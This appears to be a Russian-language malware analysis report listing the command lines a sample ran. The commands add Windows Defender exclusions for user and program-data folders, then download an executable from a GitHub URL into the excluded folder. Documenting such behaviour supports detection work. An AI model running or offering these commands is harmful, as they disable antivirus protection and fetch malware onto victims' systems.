Техническая информация
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\izxuzuqnm', 'C:\Users', '%ALLUSERSPROFILE%'"
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\izxuzuqnm', 'C:\Users', '%ALLUSERSPROFILE%'"
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/Xform1Z121/rihuata/raw/refs/heads/main/bigbapenseea.exe' -OutFile '%LOCALAPPDATA%\izxuzuqnm\rxplaxaob.exe'"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Invoke-WebRequest -Uri 'https://github.com/Xform1Z121/rihuata/raw/refs/heads/main/bigbapenseea.exe' -OutFile '%LOCALAPPDATA%\izxuzuqnm\rxplaxaob.exe'"